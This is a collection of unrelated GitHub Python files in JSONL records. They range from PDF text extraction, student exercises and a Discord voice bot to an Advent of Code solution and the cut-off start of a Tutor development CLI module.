{"seq_id":"34867874921","text":"import io\nimport logging\nimport os\nimport shutil\nfrom pathlib import Path\nfrom typing import List, Tuple\n\nimport pdfminer.pdfdocument\nimport wikipedia\nfrom pdfminer.converter import TextConverter\nfrom pdfminer.layout import LAParams\nfrom pdfminer.pdfinterp import PDFPageInterpreter\nfrom pdfminer.pdfinterp import PDFResourceManager\nfrom pdfminer.pdfpage import PDFPage\n\nlog = logging.getLogger(__name__)\n\n\ndef cleanup_data(root_dir: str, target_dir: str, extensions: List[str]):\n    \"\"\" Copy all files in all subdirectories of root_dir, to target_dir that are in extension.\n\n    :param root_dir: root directory\n    :param target_dir: target directory\n    :param extensions: extensions to not remove\n    :return: bool determining success\n    \"\"\"\n    # if target dir doesn't exist create\n    Path(target_dir).mkdir(parents=True, exist_ok=True)\n\n    # check subtree of root\n    for root, directories, filenames in os.walk(root_dir, topdown=False):\n        # iterate over files\n        for filename in filenames:\n            # copy files with correct extension to target directory\n            filepath = os.path.join(root, filename).replace(\"\\\\\", \"/\")\n            try:\n                ext = filename.split(\".\")[1]\n                if ext in extensions:\n                    shutil.copyfile(filepath, f\"{target_dir}/{filename}\")\n            except IndexError:\n                log.info(f\"Couldn't get extension of file {filepath}. Skipping...\")\n            except FileNotFoundError:\n                log.info(f\"Couldn't find file {filepath}. Skipping...\")\n\n    return True\n\n\ndef pdf_to_string(path):\n    \"\"\" Converts a pdf file to a string. String contains\n\n    :param path: Path to pdf file\n    :return: String\n    \"\"\"\n    resource_manager = PDFResourceManager()\n    fake_file_handle = io.StringIO()\n    converter = TextConverter(resource_manager, fake_file_handle, laparams=LAParams())\n    page_interpreter = PDFPageInterpreter(resource_manager, converter)\n\n    with open(path, 'rb') as fh:\n        for page in PDFPage.get_pages(fh,\n                                      caching=True,\n                                      check_extractable=True):\n            page_interpreter.process_page(page)\n\n        text = fake_file_handle.getvalue()\n\n    # close open handles\n    converter.close()\n    fake_file_handle.close()\n\n    return text\n\n\ndef replace_cid_codes(string):\n    \"\"\" Takes a string and replaces relevant cid codes\n\n    :param string: string with cid codes\n    :return: string with relevant cid codes replaced\n    \"\"\"\n    # letters\n    string = string.replace('(cid:228)', 'ä')\n    string = string.replace('(cid:246)', 'ö')\n    string = string.replace('(cid:252)', 'ü')\n\n    string = string.replace('(cid:214)', 'Ö')\n    string = string.replace('(cid:220)', 'Ü')\n    string = string.replace('(cid:223)', 'ß')\n\n    string = string.replace('\\n', ' ')\n    string = string.replace('\\r', '')\n\n    return string\n\n\ndef convert_pdfs_to_text(pdf_root_dir: str, _) -> List[str]:\n    \"\"\" Convert all pdf files to a list of texts.\n\n    :param pdf_root_dir: root directory containing pdf files\n    :param _: placeholder to ensure correct pipeline execution order\n    :return: Dict with filenames as keys and data as value\n    \"\"\"\n    dataset = []\n\n    # iterate over files in pdf_root_dir\n    for root, directories, filenames in os.walk(pdf_root_dir, topdown=False):\n        # convert and preprocess text file\n        for filename in filenames:\n            filepath = os.path.join(root, filename)\n            try:\n                text = pdf_to_string(filepath)\n                processed_text = replace_cid_codes(text)\n\n                # add to dataset\n                dataset.append(processed_text)\n                log.info(f\"Done with processing file {filename}!\")\n            except FileNotFoundError:\n                log.info(f\"Couldn't find file {filepath}. Skipping...\")\n            except pdfminer.pdfdocument.PDFTextExtractionNotAllowed:\n                log.info(f\"Couldn't extract text from {filepath}. Skipping...\")\n\n    return dataset\n\n\ndef add_element_to_dict(dictionary, element):\n    \"\"\" Adds an element to a dictionary. If not in dictionary, adds a new key to dictionary.\n\n    :param dictionary: dictionary\n    :param element: string\n    :return: updated dictionary\n    \"\"\"\n\n    if len(element) == 1:\n        return dictionary\n\n    if element not in dictionary.keys():\n        dictionary[element] = 1\n    else:\n        dictionary[element] += 1\n\n    return dictionary\n\n\ndef get_tokens(spacy_model, text):\n    \"\"\" Extracts tokens from a text and returns a dictionary with the tokens and the number of appearances and\n    a dictionary with the lemmas of the tokens.\n\n    :param spacy_model: spacy model\n    :param text: Text to extract the tokens from\n    :return: word_dict, lemma_dict\n    \"\"\"\n    word_dict = {}\n    lemma_dict = {}\n\n    doc = spacy_model(text)\n    for token in doc:\n        if token.is_alpha:\n            add_element_to_dict(word_dict, token.text)\n            add_element_to_dict(lemma_dict, token.lemma_)\n\n    # sort dictionaries descending by appearance of tokens\n    word_dict = {k: v for k, v in sorted(word_dict.items(), key=lambda item: item[1], reverse=True)}\n    lemma_dict = {k: v for k, v in sorted(lemma_dict.items(), key=lambda item: item[1], reverse=True)}\n\n    return word_dict, lemma_dict\n\n\ndef count_token_appearances(texts: List[str], spacy_model) -> Tuple[List, List]:\n    \"\"\" Convert each text into a Dict containing the tokens and their number of appearances (same with lemmas).\n\n    :param texts: list of texts\n    :param spacy_model: spacy model\n    :return: dict with counts for tokens, dict with counts for lemmas of tokens\n    \"\"\"\n    token_count = []\n    lemma_count = []\n\n    # iterate over texts\n    for text in texts:\n        tokens, lemmas = get_tokens(spacy_model, text)\n        token_count.append(tokens)\n        lemma_count.append(lemmas)\n\n    return token_count, lemma_count\n\n\ndef get_wikipedia_articles(num_pages: int, language: str) -> List[str]:\n    \"\"\" Get a list of the content of random wikipedia articles.\n\n    :param num_pages: number of wikipedia pages to load\n    :param language: language of articles\n    :return: list of article content (texts)\n    \"\"\"\n    wikipedia.set_lang(language)\n\n    articles = []\n\n    # find valid random articles\n    counter = 0\n    while counter < num_pages:\n        try:\n            articles.append(wikipedia.page(title=wikipedia.random()).content)\n            counter += 1\n            log.info(f\"{counter}/{num_pages}: Downloading {articles[-1].title}\")\n        except wikipedia.DisambiguationError:\n            # skip if DisambiguationError appears and decrement counter\n            log.info('DisambiguationError! Skip...')\n            continue\n        except wikipedia.PageError:\n            # skip if PageError appears and decrement counter\n            log.info('PageError! Skip...')\n            continue\n\n    return articles\n","repo_name":"tcq1/word_classificator","sub_path":"src/word_classificator/pipelines/text_extraction/nodes.py","file_name":"nodes.py","file_ext":"py","file_size_in_byte":6928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41800047876","text":"import pygal\n\nfrom die import Die\n\n# 创建两个骰子\ndie_1 = Die()\ndie_2 = Die()\n\n# 掷骰子多次，并将结果存储在一个列表中\nresults = [die_1.roll()*die_2.roll() for roll_num in range(1000)]\n\n# 分析结果\nvalues = []\nfor i in range(1, die_1.num_sides+1):\n    for j in range(i, die_2.num_sides+1):\n        value = i * j\n        values.append(value)\nvalues = sorted(list(set(values)))\nfrequencies = []\nfor value in values:\n    frequency = results.count(value)\n    frequencies.append(frequency)\n# 可视化结果\nhist = pygal.Bar()\nhist.title = \"Results of rolling two D6 dice 1000 times.\"\nhist.x_labels = [str(value) for value in values]\nhist.x_title = \"Result\"\nhist.y_title = \"Frequency of Result\"\nhist.add(\"D6 * D6\", frequencies)\nhist.render_to_file(\"two_D6_dice.svg\")","repo_name":"Jeffery12138/Python-","sub_path":"项目2 数据可视化/第15章 生成数据/动手试一试/15-9 将点数相乘/two_D8_dice_visual.py","file_name":"two_D8_dice_visual.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11184106167","text":"# -*- coding:utf-8 -*-\n# @Time  : 2019/5/9 1:32\n# @Author: xiaoxiao\n# @File  : last_cre_number.py\n\nfrom common.config import config\nimport time\nimport random\n\n\ndef get_cre_id():\n    start=config.get(\"data\",\"cre_address_code\")\n    now = int(time.time())\n    timeStruct = time.localtime(now)\n    strTime = time.strftime(\"%Y%m%d\", timeStruct)\n    strTime=int(strTime)-200000\n    middle=str(strTime)\n    number=start+middle+str(random.randint(100,999))\n    num = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]\n    dict = {0: \"1\", 1: \"0\", 2: \"X\", 3: \"9\", 4: \"8\", 5: \"7\", 6: \"6\", 7: \"5\", 8: \"4\", 9: \"3\", 10: \"2\"}\n    sum = 0\n    for i in range(17):\n        s = int(number[i]) * num[i]\n        sum += s\n    code = dict[sum % 11]\n    cre_id=number+code\n    return cre_id\nif __name__ == '__main__':\n    print(get_cre_id())\n","repo_name":"cxx839113797/myproject","sub_path":"common/get_cre_id.py","file_name":"get_cre_id.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42838358284","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.shortcuts import render\nfrom .models import Product\n\n\ndef all_products(request): # pagination requesting 6 products only on a page\n    products = Product.objects.all()\n\n    page = request.GET.get('page', 1)\n\n    paginator = Paginator(products, 6)\n\n    try:\n\n        products = paginator.page(page)\n\n    except PageNotAnInteger:\n\n        products = paginator.page(1)\n\n    except EmptyPage:\n\n        products = paginator.page(paginator.num_pages)\n    return render(request, \"products/products.html\", {\"products\": products})\n\n\n\n","repo_name":"kanepa/chocolateshop","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3449081104","text":"def line_slice(in_path, out_path, start: int, end: int):\n    with open(in_path, \"r\") as input:\n        with open(out_path, \"w\") as out:\n            for i, line in enumerate(input):\n                if i >= start and i < end:\n                    out.write(line)\n\n\ndef replace_a_char_each_line(file_in, file_out, char_index: int, replace_with):\n    with open(file_in) as fp:\n        lines_to_be_replace = fp.read().splitlines()\n\n    with open(file_out, \"w\") as fp:\n        for line in lines_to_be_replace:\n            if len(line) > char_index:\n                char_list = list(line)\n                char_list[char_index] = replace_with\n                modifid_line = ''.join(char_list)\n                print(modifid_line, file=fp)\n            else:\n                print(line, file=fp)\n\n\ndef replace_a_char_series_each_line(file_in, file_out, start_index: int, end_index: int, replace_with):\n    if end_index < start_index:\n        raise Exception(\"end_index < start_index\")\n\n    with open(file_in) as fp:\n        lines_to_be_replace = fp.read().splitlines()\n\n    with open(file_out, \"w\") as fp:\n        for line in lines_to_be_replace:\n            if len(line) > end_index:\n                char_list = list(line)\n                left = char_list[:start_index]\n                right = char_list[end_index+1:]\n                modifid_line = ''.join(left) + replace_with + ''.join(right)\n                print(modifid_line, file=fp)\n            else:\n                print(line, file=fp)\n","repo_name":"pomodorozhong/pythonsheet","sub_path":"pythonsheet/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"41078374675","text":"print(\"Programa para calcular el area de una figura, elija la opcion\")\nprint(\"area de un cuadrado=1\")\nprint(\"area de un triangulo=2\")\nprint(\"area de un rectangulo=3\")\n\nrespuesta=int(input())\n\ndef resultado():\n    if respuesta==1:\n        print(\"ingrese el lado\")\n        altura = int(input())\n        resultado=altura*altura\n        print(\"el area del cuadrado es \",resultado)\n        return resultado\n    elif respuesta==2:\n        altura=int(input(\"ingrese altura\"))\n        base = int(input(\"ingrese la base\"))\n        resultado=base*altura/2\n        print(\"el area del triangulo es \", resultado)\n        return resultado\n    elif respuesta==3:\n        altura = int(input(\"ingrese lado a\"))\n        base = int(input(\"ingrese lado b\"))\n        resultado=base*altura\n        print(\"el area del rectangulo es \", resultado)\n        return resultado\n    else:\n        print(\"la opcion ingresada no es valida\")\n\nprint(\"area total: \",resultado())\n\nresultado()","repo_name":"learsixela/logicaDiurno","sub_path":"CalculoAreas.py","file_name":"CalculoAreas.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42421975955","text":"import sys\nsys.stdin = open('input1.txt')\n\n\ndef bfs(x):\n    global visit, V\n    enqueue(x)\n    while front != rear:\n        now = dequeue()\n        for j in range(V+1):\n            if matrix[now][j] == 1 and visit & (1<<j) == 0:\n                if j == x:\n                    return True\n                visit ^= (1 << j)\n                enqueue(j)\n\n    return False\n\n\ndef enqueue(x):\n    global rear\n    rear += 1\n    if rear >= 1000:\n        rear = 0\n    queue[rear] = x\n\n\ndef dequeue():\n    global front\n    front += 1\n    if front >= 1000:\n        front = 0\n    return queue[front]\n\n\nqueue = [0] * 1000\nT = int(input())\nfor t in range(T):\n    V, E = map(int, input().split())\n    data = [0]*E\n    for e in range(E):\n        data[e] = list(map(int, input().split()))\n\n    data.sort(key=lambda x: x[2])\n    matrix = [[0]*(V+1) for _ in range(V+1)]\n    count = 0\n    cnt = 0\n    for i in range(len(data)):\n        matrix[data[i][0]][data[i][1]] = 1\n        for k in range(V):\n            front = rear = -1\n            visit = 0\n            if bfs(k):\n                matrix[data[i][0]][data[i][1]] = 0\n                break\n        else:\n            count += data[i][2]\n            cnt += 1\n            if cnt >= V:\n                break\n\n    print('#{} {}'.format(t+1, count))\n","repo_name":"mjjin1214/algorithm","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28512443292","text":"from collections import Counter, defaultdict\n\ndef get_inputs(filename):\n    with open(filename) as f:\n        lines = f.readlines()\n\n    template = lines[0].strip()\n\n    instructions = dict(\n        line.strip().split(' -> ')\n        for line in lines[2:]\n    )\n\n    return template, instructions\n\n\ndef part1(filename, steps = 10):\n    template, instructions = get_inputs(filename)\n\n    for step in range(steps):\n        i = 0\n        while i < len(template) - 1:\n            if template[i:i+2] in instructions.keys():\n                template = template[:i+1] + instructions[template[i:i+2]] + template[i+1:]\n                i += 1\n            i += 1\n\n    counter = Counter(template)\n    return max(counter.values()) - min(counter.values())\n\n\ndef get_next_paircounts(paircounts, instructions):\n    paircount_updates = defaultdict(int)\n    for key, value in paircounts.items():\n        if key in instructions.keys():\n            to_insert = instructions[key]\n            paircount_updates[key[0] + to_insert] += value\n            paircount_updates[to_insert + key[1]] += value\n        else:\n            paircount_updates[key] = value\n\n    return paircount_updates\n\n\ndef part2(filename, steps = 10):\n    template, instructions = get_inputs(filename)\n\n    template = '~' + template + '*'\n    paircounts = Counter(template[i:i+2] for i in range(len(template) - 1))\n\n    for step in range(steps):\n        paircounts = get_next_paircounts(paircounts, instructions)\n\n    element_counts = Counter()\n    for key, value in paircounts.items():\n        for char in key:\n            if char not in '~*':\n                element_counts[char] += value\n    \n    return int((max(element_counts.values()) - min(element_counts.values()))/2)\n\n\nif __name__ == '__main__':\n    print('First answer is:', part1('input.txt'))\n    print('Second answer is:', part2('input.txt', 40))\n","repo_name":"ShannonJWirtz/advent-of-code","sub_path":"2021/day_14/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33542853583","text":"num=int(input(\"Enter a number:\"))\ntemp=num\nrev=0\nwhile(num>0):\n    a=num%10\n    r=r*10+a\n    num=num//10\nif(temp==r):\n    print(\"The number is palindrome!\")\nelse:\n    print(\"Not a palindrome!\")","repo_name":"nikkilkum26/Python_programs","sub_path":"python/palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39453539474","text":"# We will be using requests library to make API requests\nimport requests\n\n# The endpoint we will be using for this demo is PeterPortal API.\n\n# This endpoint returns all course information\nURL = 'https://api.peterportal.org/rest/v0/courses/all'\n\n# This endpoint requires a query which will specify what information we want.\nURL2 = 'https://api.peterportal.org/rest/v0/grades/calculated'\n\ndef main():\n    query = {\n        'year': '2019-20',\n        'instructor': 'PATTIS, R.',\n        'department': 'I&C SCI',\n        'numer': '33'\n    }\n    # Not necessary for every Web API, but it's good practice\n    # Ensures our response is in JSON format.\n    headers = {\n        \"Content-Type\": \"application/json\",\n    }\n\n    try:\n       # response = requests.get(URL) \n        response = requests.get(URL2, params = query, headers = headers, timeout = 5)\n        response.raise_for_status() #returns HTTPError object in case of error.\n        print(response.json())\n\n    #Requests module handles errors by using exception handling. \n    except requests.exceptions.HTTPError as errh: #catches HTTPError object\n        print(errh)\n    except requests.exceptions.ConnectionError as errc: #if there was an connection error\n        print(errc)\n    except requests.exceptions.Timeout as errt: #if time exceeds the timeout allotted above. \n        print(errt)\n    except requests.exceptions.RequestException as err: #ambiguous exception that occurred while handling your request\n        print(err)\n\n\n\n\nif __name__ == '__main__':\n    main()","repo_name":"icssc/intro-api-python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"9898132836","text":"__author__ = 'jgwall'\n\nimport argparse\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport math\nimport pandas as pd\nimport re\n\ndebug = False\n\nroot_key={\n    # KO terms\n    \"Metabolism\" : {'color': {'r': 0, 'g': 0, 'b': 255, 'a': 0}},\n    \"Unclassified\" :    {'color': {'r': 255, 'g': 255, 'b': 0, 'a': 0}},\n    \"Cellular Processes\"  : {'color': {'r': 0, 'g': 255, 'b': 0, 'a': 0}} ,\n    \"Environmental Information Processing\" : {'color': {'r': 0, 'g': 255, 'b': 255, 'a': 0}},\n    \"Genetic Information Processing\" : {'color': {'r': 255, 'g': 0, 'b': 255, 'a': 0}},\n    \"Human Diseases\": {'color': {'r': 0, 'g': 0, 'b': 0, 'a': 0}},\n\n    # COG terms\n    \"POORLY CHARACTERIZED\": {'color': {'r': 255, 'g': 255, 'b': 0, 'a': 0}},\n    \"CELLULAR PROCESSES AND SIGNALING\": {'color': {'r': 0, 'g': 255, 'b': 0, 'a': 0}} ,\n    \"METABOLISM\": {'color': {'r': 0, 'g': 0, 'b': 255, 'a': 0}},\n    \"INFORMATION STORAGE AND PROCESSING\":  {'color': {'r': 255, 'g': 0, 'b': 255, 'a': 0}}\n}\n\ndef main():\n    args = parse_args()\n    print(\"Making subgraph of significant hits in\",args.infile)\n\n    # Load heritability and graph\n    targets = load_herits(args.infile, args.max_herit, args.pval_cutoff)\n    graph = nx.read_gexf(args.graphfile)\n\n    # Find targets among renamed nodes with full hierarchy\n    targets = find_targets(graph, targets)\n\n    # Get sets of terminal significant ones and their ancestors\n    ancestors = set()\n    nodes = graph.nodes()\n    added=0\n    for t in targets:\n        if t not in nodes: continue # Skip any hits that aren't targets\n        added+=1\n        for a in nx.ancestors(graph, t):\n            ancestors.add(a)\n    print(\"\\tAdded ancestors of\",added,\"nodes to look for\")\n\n    # Make subgraph\n    subgraph = graph.subgraph(targets | ancestors)\n    print(\"Subgraph has\",len(subgraph.nodes()),\"nodes of the original\",len(graph.nodes()))\n\n    # Prettify subgraph\n    subgraph = prettify_subgraph(subgraph, targets)\n\n    # Output\n    #subgraph = subgraph.reverse()   #Flip so individual nodes have arrows toward their supercategory, not vice-versa\n    nx.write_gexf(subgraph, args.outprefix + \".gexf\", version=\"1.2draft\")\n    nx.draw_networkx(subgraph)\n    plt.savefig(args.outprefix + \".png\")\n\n    # Output version without terminal leaves\n    remove_terminal_leaves(subgraph)\n    nx.write_gexf(subgraph, args.outprefix + \".trimmed.gexf\", version=\"1.2draft\")\n    nx.draw_networkx(subgraph)\n    plt.savefig(args.outprefix + \"trimmed.png\")\n\ndef parse_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-i\", \"--infile\", help=\"Parsed heritabilities from 5_AssembleMetagenomeHeritData.py\")\n    parser.add_argument(\"-g\", \"--graphfile\", help=\"GEXF-formatted graph file of the annotation hierarchy\")\n    parser.add_argument(\"-f\", \"--fisher\", help=\"P-value results for Fisher-exact test of term enrichment\")\n    parser.add_argument(\"-o\", \"--outprefix\", help=\"Output file prefix\")\n    parser.add_argument(\"-p\", \"--pval-cutoff\", type=float, default=1, help=\"P-value cutoff for including in the signature\")\n    parser.add_argument(\"-m\", \"--max-herit\", type=float, default=1, help=\"Exclude heritability above this (b/c is probably a artifact)\")\n    parser.add_argument(\"--debug\", default=False, action=\"store_true\")\n    args = parser.parse_args()\n\n    # Handle debug flag\n    global debug\n    debug = args.debug\n\n    return parser.parse_args()\n\n\ndef load_herits(infile, max_herit, pval_cutoff):\n    data = pd.read_table(infile, index_col=0)\n\n    # Reformat trait names\n    traits = data['trait']\n    traits = [re.sub(pattern=\"^log_\", string=t, repl=\"\") for t in traits]\n    traits = [re.sub(pattern=\"_[0-9]+$\", string=t, repl=\"\") for t in traits]\n    traits = [re.sub(pattern=\"___\", string=t, repl=\" - \") for t in traits]\n    traits = [re.sub(pattern=\"_\", string=t, repl=\" \") for t in traits]\n    data['trait'] = traits\n\n    # Identify the enriched, non-enriched, and bad traits based on heritability and empirical p-value\n    good_pval = data['empirical_pval'] <= pval_cutoff\n    good_herit = data['h2'] <= max_herit\n    data['classification'] = 'unknown'\n    data.loc[good_pval & good_herit, 'classification'] = \"target\"\n    data.loc[~good_pval & good_herit, 'classification'] = \"background\"\n    data.loc[~good_herit, 'classification'] = \"error\"\n\n    # Subset\n    targets = data['trait'].loc[data['classification'] == 'target']\n    background = data['trait'].loc[data['classification'] == 'background']\n    errors = data['trait'].loc[data['classification'] == 'error']\n\n    # Status report and sanity check\n    print(\"Of\", len(data), \"base traits, identified\", len(targets), \"as good/enriched\", len(background),\n          \"as non-enriched/background, and\",\n          len(errors), \"as bad due to too high heritability\")\n    if len(data) != (len(targets) + len(background) + len(errors)):\n        print(\"\\tWARNING!! These three categories should sum to the total but they don't!!!\")\n\n    # Convert to sets and return\n    targetset = {t for t in targets}\n    if len(targetset) != len(targets): print(\"WARNING! Duplicate target names detected!!\")\n    return targetset\n\n\ndef find_targets(graph, targets):\n    prettykey = {pretty_name(node):node for node in graph.nodes()}\n    new_targets=set()\n    for t in targets:\n        if t in prettykey:\n            new_targets.add(prettykey[t])\n        else:\n            print(\"Warning! Unable to find\",t)\n    return(new_targets)\n\n# Make graph pretty\ndef prettify_subgraph(graph, hits):\n\n    # Relabel nodes with shorter names\n    label_key = {n:pretty_name(n) for n in graph.nodes()}   # Remove higher-level pathway info\n    label_key = {n: remove_base_names(label_key[n]) for n in label_key} # Strip base COG/KO terms\n    nx.set_node_attributes(graph, name=\"label\", values=label_key)\n\n\n    # Colorize nodes by their core region (metabolism, etc)\n    for n in graph.nodes():\n        found = 0\n        colorkey = {'color': {'r': 125, 'g': 125, 'b': 125, 'a': 0}}    # Default gray\n        # Colorize hits red\n        if n in hits or pretty_name(n) in hits:\n            colorkey = {'color': {'r': 255, 'g': 0, 'b': 0, 'a': 0}}    # Red if hit\n            found+=1\n        # Colorize other nodes according to their ancestral group\n        else:\n            ancestors = nx.ancestors(graph, n)\n            for root in root_key:\n                if n == root or root in ancestors:\n                    colorkey = root_key[root]\n                    found+=1\n        if found != 1:\n            print(\"!!WARNING!! Found\",found,\"root nodes for\",n,\"with ancestors\",ancestors)\n        graph.node[n]['viz'] = colorkey\n    # print(\"\\tFound\",found,\"hits that passed heritability\")\n\n    # Set size based on cumulative number of hits\n    countkey = dict()\n    for n in graph.nodes():\n        desc = nx.descendants(graph, n) # Set of descendant nodes\n        myhits = desc & hits\n        mysize = (len(myhits) + 1) * 5\n        graph.node[n]['viz']['size'] = math.sqrt(mysize)\n        countkey[n] = len(myhits)\n    nx.set_node_attributes(graph, name=\"hit_count\", values=countkey)\n\n\n    return graph\n\ndef pretty_name(node):\n    if \"->\" in node:\n        node = node.split(\"->\")[-1]\n    if node == \"D-Arginine and D-ornithine metabolism\":\n        node = \"D Arginine and D ornithine metabolism\"\n    return node\n\ndef remove_base_names(node):\n    if node.startswith(\"K0\") or node.startswith(\"K1\") or node.startswith(\"COG\"):\n        node=\"\"\n    return node\n\ndef remove_terminal_leaves(graph):\n    for node in graph.nodes():\n        if (node.startswith(\"K0\") or node.startswith(\"K1\") or node.startswith(\"COG\")) and len(nx.descendants(graph, node)) ==0:\n            graph.remove_node(node)\n\n\nif __name__ == '__main__': main()","repo_name":"wallacelab/paper-maize-phyllosphere-2014","sub_path":"0_Scripts/9m_MakeMetagenomeHeritGraph.py","file_name":"9m_MakeMetagenomeHeritGraph.py","file_ext":"py","file_size_in_byte":7665,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"74491143460","text":"import discord, os\nfrom discord.ext import commands\nfrom dotenv import load_dotenv\n\nload_dotenv()\nTOKEN = os.getenv(\"BOT_TOKEN\")\nPREFIX = os.getenv(\"BOT_PREFIX\")\n\nbot = commands.Bot(command_prefix=PREFIX, intents=discord.Intents.all())\n\n@bot.event\nasync def on_ready():\n    activity = discord.Activity(type=discord.ActivityType.listening, name=f\"'{PREFIX}' as prefix\")\n    await bot.change_presence(activity=activity)\n    print(f'{bot.user.name}#{bot.user.discriminator} is online!')\n\n@bot.command()\nasync def join(ctx):\n    channel = ctx.author.voice.channel\n    await channel.connect()\n\n@bot.command()\nasync def ping(ctx):\n    latency = bot.latency * 1000\n    await ctx.send(f'Pong! Latency: {latency:.2f} ms')\n\n@bot.command()\nasync def mc(ctx, channel_id: int):\n    voice_channel = bot.get_channel(channel_id)\n    if not voice_channel:\n        await ctx.send(\":x:|I couldn't find a voice channel with that ID.\")\n        return\n    num_users = len(voice_channel.members)\n    num_bots = len([m for m in voice_channel.members if m.bot])\n    num_humans = num_users - num_bots\n    mc_embed = discord.Embed(description=f\"There are **{num_humans} humans** and **{num_bots} bots** in **{voice_channel.name}**.\", color=0x00ff00)\n    await ctx.send(embed=mc_embed)\n\n\n\n@bot.event\nasync def on_voice_state_update(member, before, after):\n    if not member.bot and not after.channel and member.guild.voice_client and member.guild.voice_client.channel == before.channel:\n        await member.guild.voice_client.move_to(before.channel)\n\nbot.run(TOKEN)\n","repo_name":"developer1029/DCvoice24-7","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42537818034","text":"\nimport os\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\nURL = \"http://www.google.com/\"\n\ndef main():\n\n    # get the path of ChromeDriverServer\n    dir = os.path.dirname(__file__)\n    chrome_driver_path = dir + \"chromedriver.exe\"\n    print(\"Chrome driver : \" + chrome_driver_path)\n\n    driver = webdriver.Chrome(chrome_driver_path)\n    driver.implicitly_wait(30)\n    driver.maximize_window()\n\n    driver.get(URL)\n\n    print(driver)\n\n    driver.quit()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Nehal31/MTPyGit1","sub_path":"SeleniumAutomation/my_test1.py","file_name":"my_test1.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40699864861","text":"from food import Food\nfrom drink import Drink\n\nfood1 = Food('Roti Lapis', 5)\nfood1.calorie_count = 330\nprint(food1.info())\n\n# Buat instance class Drink dan tetapkan ke variable drink1\ndrink1 = Drink('Kopi', 3)\n\n# Tetapkan volume variable drink1 ke 180\ndrink1.volume = 180\n\n# Panggil method info dari drink1 dan cetak nilai return\nprint(drink1.info())\n","repo_name":"myarist/Progate","sub_path":"Languages/Python/python_study_5/page6/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"6006754543","text":"import typing as t\n\nimport click\n\nfrom tutor import config as tutor_config\nfrom tutor import env as tutor_env\nfrom tutor import exceptions, fmt, hooks\nfrom tutor import interactive as interactive_config\nfrom tutor import utils\nfrom tutor.commands import compose\nfrom tutor.types import Config, get_typed\n\n\nclass DevJobRunner(compose.ComposeJobRunner):\n    def __init__(self, root: str, config: Config):\n        \"\"\"\n        Load docker-compose files from dev/ and local/\n        \"\"\"\n        super().__init__(root, config)\n        self.project_name = get_typed(self.config, \"DEV_PROJECT_NAME\", str)\n        self.docker_compose_tmp_path = tutor_env.pathjoin(\n            self.root, \"dev\", \"docker-compose.tmp.yml\"\n        )\n        self.docker_compose_jobs_tmp_path = tutor_env.pathjoin(\n            self.root, \"dev\", \"docker-compose.jobs.tmp.yml\"\n        )\n        self.docker_compose_files += [\n            tutor_env.pathjoin(self.root, \"local\", \"docker-compose.yml\"),\n            tutor_env.pathjoin(self.root, \"dev\", \"docker-compose.yml\"),\n            self.docker_compose_tmp_path,\n            tutor_env.pathjoin(self.root, \"local\", \"docker-compose.override.yml\"),\n            tutor_env.pathjoin(self.root, \"dev\", \"docker-compose.override.yml\"),\n        ]\n        self.docker_compose_job_files += [\n            tutor_env.pathjoin(self.root, \"local\", \"docker-compose.jobs.yml\"),\n            tutor_env.pathjoin(self.root, \"dev\", \"docker-compose.jobs.yml\"),\n            self.docker_compose_jobs_tmp_path,\n            tutor_env.pathjoin(self.root, \"local\", \"docker-compose.jobs.override.yml\"),\n            tutor_env.pathjoin(self.root, \"dev\", \"docker-compose.jobs.override.yml\"),\n        ]\n\n\nclass DevContext(compose.BaseComposeContext):\n    def job_runner(self, config: Config) -> DevJobRunner:\n        return DevJobRunner(self.root, config)\n\n\n@click.group(help=\"Run Open edX locally with development settings\")\n@click.pass_context\ndef dev(context: click.Context) -> None:\n    context.obj = DevContext(context.obj.root)\n\n\n@click.command(help=\"Configure and run Open edX from scratch, for development\")\n@click.option(\"-I\", \"--non-interactive\", is_flag=True, help=\"Run non-interactively\")\n@click.option(\"-p\", \"--pullimages\", is_flag=True, help=\"Update docker images\")\n@click.pass_context\ndef quickstart(context: click.Context, non_interactive: bool, pullimages: bool) -> None:\n    try:\n        utils.check_macos_docker_memory()\n    except exceptions.TutorError as 